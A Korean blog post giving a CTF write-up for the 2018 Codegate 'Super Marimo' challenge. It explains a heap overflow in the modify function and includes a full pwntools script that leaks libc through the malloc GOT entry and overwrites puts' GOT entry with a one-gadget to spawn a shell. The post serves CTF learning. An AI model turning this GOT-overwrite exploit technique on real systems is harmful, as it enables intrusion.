2018 Codegate Super Marimo
문제를 풀기 전에 먼저 보호기법을 보자
취약점은 modify 함수 부분에서 발생한다.
이게 modify 함수인데 보면 time 함수와 다른 값들을 연산하여 size라는 변수에다 넣은 다음에 나중에 INPUT 함수를 이용하여 32*size 만큼을 입력받는다. 그렇게 되면 다른 청크의 값을 변조하는 게 가능해진다.
만약에 내가 "show me the marimo"를 치고 name이 AAAA고 profile이 BBBB인 것과 name이 aaaa고 profile이 bbbb인 것을 만들었을 때의 힙 상황이다.
내가 name이 AAAA고 profile이 BBBB인 marimo의 profile 값을 modify를 이용하여 profile의 내용을 원래 사이즈보다 많이 넣어서 다음 marimo의 데이터를 수정한다면 어떻게 될까?
릭은 물론이고 이를 이용하여 쉘을 딸 수도 있을 것이다.
그래서 나는 공격을 위해 malloc_got를 두 번째 marimo name주소를 malloc_got로 덮어서 malloc 함수의 주소를 구한 다음에 base와 one_shot 주소를 구했다.
이제 다시 첫 번째 marimo를 릭할 때 했던 것처럼 profile 값을 modify를 이용하여 두 번째 marimo의 name과 profile를 puts_got로 덮었다.
이제 두 번째 marimo의 profile를 modify한다고 하면 profile에 있는 주소는 이미 puts_got로 조작 돼었기 때문에 거기에 one_shot을 넣어주면 쉘이 따지게 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import* p = process("./marimo") #p = remote('ch41l3ng3s.codegate.kr',3333) elf = ELF("./marimo") puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] malloc_plt=elf.plt["malloc"] malloc_got=elf.got["malloc"] def make(name,profile): p.sendlineafter(">> ","show me the marimo") p.sendlineafter(">> ",name) p.sendlineafter(">> ",profile) def view(index): p.sendlineafter(">> ","V") p.sendlineafter(">> ",str(index)) make("AAAA","BBBB") make("aaaa","bbbb") p.sendlineafter(">> ","V") print p.recv(1024) sleep(3) p.sendline("0") print p.recv(1024) sleep(3) p.sendline("M") payload = "A"*40 payload += p64(0x21) payload += p64(0xffffff) payload += p64(malloc_got) p.sendlineafter(">> ",payload) p.sendlineafter(">> ","B") p.sendlineafter(">> ","V") p.sendlineafter(">> ","1") p.recvuntil("name : ") malloc_add = u64(p.recv(6)+"\x00\x00") base = malloc_add -0x84130 one_shot = base + 0x45216 print "malloc: " + hex(malloc_add) print "base: " + hex(base) print "one_shot : " + hex(one_shot) sleep(3) payload = "B"*40 payload += p64(0x21) payload += p64(0xfffffffe) payload += p64(puts_got) payload += p64(puts_got) p.sendlineafter(">> ","B") p.sendlineafter(">> ","V") p.sendlineafter(">> ","0") p.sendlineafter(">> ","M") p.sendlineafter(">> ",payload) p.sendlineafter(">> ","B") p.sendlineafter(">> ","V") p.sendlineafter(">> ","1") p.sendlineafter(">> ","M") p.sendlineafter(">> ",p64(one_shot)) p.interactive() | cs |
puts나 malloc로 굳이 덮을 필요는 없다 자기가 편한 걸 쓰면 된다. 빨리 풀 수 있었는데 one_shot이 안 먹혀서 오래 걸렸다.
그래도 Write_up을 전혀 참고하지 않고 풀어서 뿌듯했다.
'CTF' 카테고리의 다른 글
2016 Boston Key Party CTF Cookbook (0) | 2018.02.27 |
---|---|
Bctf_2016 bcloud (0) | 2018.02.21 |
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |
2018 Codegate RedVelvet (0) | 2018.02.04 |
2017 acebear CTF easy_heap (0) | 2018.01.30 |